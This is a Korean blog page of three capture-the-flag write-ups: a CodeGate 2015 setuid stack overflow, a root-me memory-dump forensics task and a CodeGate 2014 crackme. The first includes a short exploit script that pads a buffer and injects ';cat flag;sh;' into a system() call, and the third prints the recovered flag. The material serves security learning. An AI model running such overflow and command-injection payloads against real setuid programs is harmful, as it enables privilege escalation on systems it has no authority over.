setuid 가 걸려있는 64bit ELF 바이너리이다.




소스코드를 간단히 분석해보면,

가장 먼저, sub_40075c() 함수로 진입하여 환경변수 영역을 초기화 한다. 그 후 argv[1] 의 값이 있는지 확인한 후, 값이 존재한다면 strcat() 함수를 사용하여 argv[1] 의 값을 &command 에 넣게 되는데 여기서 크기 검증을 하지 않기에 stack overflow가 발생한다. 그 후 __ctype_b_loc 함수를 통해 특수문자 검사를 하고, 특수문자가 존재하지 않는다면 syst

em() 함수를 통해 어떤 명령을 실행시킬 수 있다.





ASLR, NX 가 걸려있고, Canary 또한 존재한다.


for 문을 확인해보면, strlen(argv[1])을 구해서 특수문자를 검사하게 되는데 argv[1] 의 주소는 스택에 있다.

즉, argv[1] 의 주소까지 접근하여 주소를 조작할 수 있다. 

정확히 argv[1] 의 주소를 조작하기 위해서 &command 부터 argv[1] 의 offset 을 구해야한다.





$rsi = argv[1] addr

$rdi = &command





0x7fffef7f1190 주소에 &argv[1] 이 존재한다.

offset = 0x7fffef7f1190 - $rdi(0x7fffef7f0f80) = 528byte

그러나, command 에 이미 "id " 문자열이 들어가 있기 때문에 3byte 만큼 빼주면 525byte 가 정확한 offset 임을 알 수 있다.





"A" * 525byte + "BBBBBB" => argv[1]의 주소를 조작한 것을 확인할 수 있다.


strlen(argv[1]) 리턴 값을 조작하기 위한 여러가지 방법이 있는데,

[*] argv[1] 주소를 Null 로 초기화 된 환경변수 영역으로 조작

[*] 64bit 고정된 주소인 vsyscall 영역으로 조작

[*] 521byte + ";sh;" 와 같이 크기에 맞춰 명령을 넣어주면 끝에 "\x00" 이 붙어서 조작할 수 있다.




- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  exploit.py  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


import os


command = ";cat flag;sh;"

payload = "./shock " + "A" * (525 - len(command)) + command


os.system(payload)


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



'CTF Writeup' 카테고리의 다른 글

[CodeGate 2015 CTF] systemshock  (0) 2016.07.30
[CodeGate 2014 CTF] dodoCrackme  (0) 2016.06.11

WRITTEN BY
Pwn&Play

트랙백  0 , 댓글  0개가 달렸습니다.
secret


파일을 다운 받게 되면 





또잉 ch2.dmp라는 덤프파일을 얻을 수 있다.!!! 


문제를 해석해보자!


정답은 워크스테이션 호스트네임(즉, 컴퓨터이름)이 정답이란다.! :) 룰루~ 그럼 해보자


필자는 strings 라는 명령어를 사용하여 풀어볼 것이다.


strings ch2.dmp | grep COMPUTERNAME  <= 이렇게 명령어를 사용할 것이다.





그러하다 정답이다. 처음에 생각할땐 어렵지만 워크스테이션 호스트네임을 잘생각하면 쉽다.


끄읏~!!!

'WarGamWriteup > root-me.org' 카테고리의 다른 글

Command & Control - level 2 -15Point  (0) 2016.07.21

WRITTEN BY
Pwn&Play

트랙백  0 , 댓글  0개가 달렸습니다.
secret

 

file 명령을 통해 64bit 리눅스 환경의 바이너리임을 알 수 있다.

IDA를 통해 Import, String 등 정보를 얻기 위해 확인해보았지만 깔끔히 비어있다...

 

 

 

실행시키면 다음과 같이 password를 입력받는다.

임의의 password 를 입력하니 "Permission denied (password)." 문자열을 출력한다.

 

 

 

 

IDA를 통해 debugging을 하다보면, 키 값이 생성된다는 것을 알 수 있다.

맨 처음 풀 때는 노가다를 해서 메모리에 키 값을 찾아냈다. 좀 더 빨리 풀기위해 시도하다 password를 입력받는 곳에서 브레이포인트를 설정한다면 메모리에 키 값이 생성되있는 것을 확인할 수 있다.

 

 

 

 

바이너리 코드를 보면 이러한 키 값을 입력받기 위해 syscall 을 사용한 것을 알 수 있다.

그리고 strace를 이용하여 어디에서 입력받는지 알 수 있다.

 

 

 

 

해당 코드부분에 breakpoint를 걸고 실행하면 키 입력받는 곳에서 멈추게 된다.

 

 

 

 

 

breakpoint 지점까지 간 후, 스택을 확인해보면 다음과 같이 키 값이 생성된 것을 알 수 있다.


 

KEY : H4PPY_C0DEGaTE_2014_CU_1N_K0RE4

 

 

 

 

'CTF Writeup' 카테고리의 다른 글

[CodeGate 2015 CTF] systemshock  (0) 2016.07.30
[CodeGate 2014 CTF] dodoCrackme  (0) 2016.06.11

WRITTEN BY
Pwn&Play

트랙백  0 , 댓글  0개가 달렸습니다.
secret